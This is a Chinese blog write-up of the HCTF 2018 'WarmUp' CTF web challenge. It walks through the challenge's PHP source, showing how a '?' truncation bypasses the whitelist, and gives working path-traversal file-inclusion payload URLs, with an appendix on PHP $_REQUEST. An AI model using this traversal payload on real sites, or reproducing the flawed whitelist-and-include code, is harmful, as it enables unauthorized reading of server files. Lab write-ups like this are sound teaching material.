[HCTF 2018]WarmUp-CSDN博客

本文链接：https://blog.csdn.net/weixin_38212672/article/details/116999190

题目详解

此CTF题目为BUUCTF -> Web题目。
网址为：https://buuoj.cn/challenges#[HCTF%202018]WarmUp

一、payload

最终payload为：http://47a79071-9f3a-40a8-8fdf-8ee6e7060730.node3.buuoj.cn/index.php?file=source.php?/../../../../../ffffllllaaaagggg
或者为：http://47a79071-9f3a-40a8-8fdf-8ee6e7060730.node3.buuoj.cn/index.php?file=hint.php?/../../../../../ffffllllaaaagggg
或者为：http://47a79071-9f3a-40a8-8fdf-8ee6e7060730.node3.buuoj.cn/source.php?file=hint.php?/../../../../../ffffllllaaaagggg

效果图：
在这里插入图片描述

二、解题

题目开始界面：
在这里插入图片描述
按下F12查看网页源码，可看到题目给的提示。

浏览器输入http://47a79071-9f3a-40a8-8fdf-8ee6e7060730.node3.buuoj.cn/source.php，访问提示中的source.php。
看到一段php代码，如下图：

为了方便大家读代码，将图片上的代码贴于此：
并做了详细的注释。

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            //定义一个数组，此数组为白名单列表。
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //isset() 函数用于检测变量是否已设置并且非 NULL,如果已经使用 unset() 释放了一个变量之后，再通过 isset() 判断将返回 FALSE;若使用 isset() 测试一个被设置成 NULL 的变量，将返回 FALSE。
            //is_string() 函数用于检测变量是否是字符串。如果指定变量为字符串，则返回 TRUE，否则返回 FALSE。
            //此处isset()和is_string()返回的都是 TRUE。但取非，再 || 操作后，整个if的判断结果为 FALSE。
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            
			//in_array(search,array)
			//如果给定的值 search 存在于数组 array 中则返回 true;
			//如果没有在数组中找到参数，函数返回 false。
			//此处构造url:***/index.php?file=hint.php返回的结果没有flag,下面有图。
			//故下次构造应让此处为FALSE。 
            if (in_array($page, $whitelist)) {
                return true;
            }

			//mb_substr()函数返回字符串的一部分。
			//mb_strpos()函数返回要 查找的字符串(此处为'?') 在 别一个字符串 中首次出现的位置。
            $_page = mb_substr(       //mb_substr($page,0,0)是不返回任何内容的
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

下面进行PHP代码审计，不熟悉PHP编程可以找资料去做初步了解。
根据PHP代码，容易看出3~49行定义了一个emmm的类，
代码从第51行开始执行。
$_REQUEST[‘file’]表示的是url中传的这个名为file的参数，详情可见附录。

从这个if看出，只有满足这三个判断，才能执行文件包含include；否则执行else部分，尝试了一下，就是显示滑稽脸.jpg，得不到flag。

那就考虑如何满足这三个判断。
! empty( $ _REQUEST[‘file’]和is_string($ _REQUEST[‘file’]
empty( $var)函数：当 var 存在，并且是一个非空非零的值时返回 FALSE 否则返回 TRUE;
is_string ( mixed $var )函数：如果指定变量为字符串，则返回 TRUE，否则返回 FALSE。
这两个可以很容易就能满足。
现在再看emmm::checkFile( $ _REQUEST[‘file’])，里面有详细注释。

public static function checkFile(&$page)执行到22行第二个if处，可使file=source.php和file=hint.php( 注：白名单 )，让其返回TRUE。
打开看看：得到提示falg in ffffllllaaaagggg，但未得到flag。还得继续尝试构造url
在这里插入图片描述
mb_substr()函数返回字符串的一部分。
mb_strpos()函数返回要查找的字符串(此处为’?’) 在别一个字符串中首次出现的位置。

笔者构造的payload，public static function checkFile(&$page)执行到34行就以TRUE返回了

三、知识点

1、此题最后实现的是文件包含include，之所以包含到ffffllllaaaagggg，是因为PHP将source.php?/视作了一个文件夹，然后 ../ 的用途是返回上级目录。
此题ffffllllaaaagggg位于根目录下，一般Web服务的文件夹在/var/www/html目录中，再加上source.php?/这个“文件夹”，所以我们总共需要…/四次来返回到根目录。（如果比赛中不知道flag具体位置的话可以一层一层来试）

疑惑：file=hint.php?../…/…/…/ffffllllaaaagggg。少一个/，有时也能得到flag，有时不行。
而且file=hint.php?/…/…/…/…/ffffllllaaaagggg/ 这样也不能返回flag。求解惑

2、PHP $_REQUEST 用于收集HTML表单提交的数据。详情在附录里。

附录

1、PHP教程推荐

PHP教程推荐：菜鸟教程，可做初步的了解。

2、PHP $_REQUEST

PHP $_REQUEST 用于收集HTML表单提交的数据。

以下实验显示了一个输入字段（input）及提交按钮(submit)的表单(form)。当用户通过点击 “Submit” 按钮提交表单数据时, 表单数据将发送至标签中 action 属性中指定的脚本文件。在这个实例中，我们指定文件来处理表单数据。如果你希望其他的PHP文件来处理该数据，你可以修改该指定的脚本文件名。然后，我们可以使用超级全局变量 $_REQUEST 来收集表单中的 input 字段数据。

实验一：
将下面代码命名为postTest.php，上传至服务器。

<!doctype html>
<html>
<head>
    <meta charset="utf-8">
</head>
<body>

<form action="/requestTest.php" method="post" target="_blank">
    First name: <input type="text" name="fname" /><br />
    Last name: <input type="text" name="lname" /><br />
    <input type="submit" value="Submit" />
</form>


<p>请单击确认按钮，输入会发送到服务器上名为 "requestTest.php" 的页面。</p>

</body>
</html>

将下面代码命名为postTest.php，上传至服务器。

<!doctype html>
<html>
<head>
    <meta charset="utf-8">
</head>
<body>
<!--我们收到了你的请求！-->
<?php
$fn=$_REQUEST["fname"];
$ln=$_REQUEST["lname"];
echo $fn.$ln."<br>";

echo $_SERVER["HTTP_REFERER"]."<br>";

?>
</body>
</html>

访问请求postTest.php。
两个输入框分别输入aa和bb
在这里插入图片描述
点击提交按钮后：
会打开postTest.php中 action="/requestTest.php"，并得到如下结果。

实验二：
构造url为：http://127.0.0.1/requestTest.php?fname=aa&lname=bb ，然后用浏览器打开。结果为下图：

故此文中44，45，46行代码中 $_REQUEST[‘file’] 表示的是我们最后访问的url：http://47a79071-9f3a-40a8-8fdf-8ee6e7060730.node3.buuoj.cn/index.php?file= hint.php?/…/…/…/…/…/ffffllllaaaagggg 笔者高亮的部分。